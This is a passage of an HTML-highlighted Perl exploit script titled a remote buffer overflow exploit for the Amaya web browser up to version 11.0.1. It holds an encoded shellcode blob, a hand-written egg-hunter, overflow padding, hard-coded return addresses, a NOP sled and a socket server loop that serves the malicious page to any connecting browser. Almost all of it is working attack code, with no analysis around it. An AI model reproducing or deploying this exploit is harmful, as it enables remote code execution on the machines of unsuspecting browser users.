<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>33&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>4a&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>53&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>57&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># my own shell hunter.. :) it is 98% alphanumerical.</span>
<span style="color: #666666; font-style: italic;"># 2nd variant of the shellhunter, to make the exploit more reliable..</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellhunter</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>40&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>47&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">6</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>     <span style="color: #666666; font-style: italic;">#inc edi</span>
<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">24</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>71&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>
<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>FF<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>77<span style="color: #000099; font-weight: bold;">\x</span>76&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">158</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43&quot;</span> x <span style="color: #cc66cc;">430</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow4len</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">977</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">7</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">#very important calculation</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>44&quot;</span> x <span style="color: #0000ff;">$overflow4len</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sled</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">12</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sled2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">24</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$eip2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">#10035537 call ecx, this won't be used</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$eip1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#10014F30 call esi, this will be used.</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$heapaddr</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>08<span style="color: #000099; font-weight: bold;">\x</span>10&quot;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">#valid char for buffer, heap address</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span> x <span style="color: #cc66cc;">40</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537    look out values &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537                &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537            &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">4</span><span style="color: #339933;">;</span>      <span style="color: #666666; font-style: italic;"># 45446537        &amp;lt;-</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$additionaddr</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">#used for an addition in the shellhunter  (+2)</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$nopsled</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$jmp</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>0c&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Amaya Web Browser &amp;lt;= 11.0.1 Remote Buffer Overflow Exploit<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Found/Exploit by SkD (skdrat@ hotmail.com)(skd@ abysssec.com)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sock</span><span style="color: #339933;">=</span><span style="color: #000000; font-weight: bold;">new</span> IO<span style="color: #339933;">::</span><span style="color: #006600;">Socket</span><span style="color: #339933;">::</span><span style="color: #006600;">INET</span><span style="color: #009900;">&#40;</span>Listen<span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span>LocalAddr <span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span> <span style="color: #0000ff;">$listenip</span><span style="color: #339933;">,</span>LocalPort<span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span><span style="color: #0000ff;">$port_listen</span><span style="color: #339933;">,</span>Proto<span style="color: #339933;">=</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span><span style="color: #ff0000;">'tcp'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">die</span> <span style="color: #b1b100;">unless</span> <span style="color: #0000ff;">$sock</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Waiting for clients on port &quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$port_listen</span><span style="color: #339933;">.</span><span style="color: #ff0000;">&quot;..<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$s</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$s</span><span style="color: #339933;">=</span><span style="color: #0000ff;">$sock</span><span style="color: #339933;">-</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;</span>accept<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Got a client!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$request</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span><span style="color: #0000ff;">$s</span><span style="color: #0000ff;">&amp;gt</span><span style="color: #339933;">;;</span>
<span style="color: #000066;">print</span> <span style="color: #0000ff;">$s</span> <span style="color: #ff0000;">&quot;HTTP/1.0 200 OK<span style="color: #000099; font-weight: bold;">\n</span>Content-Type: text/html<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #ff0000;">&quot;[x] Serving Exploit HTML page :)<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span> <span style="color: #0000ff;">$s</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;
<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;
&nbsp;
<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span>
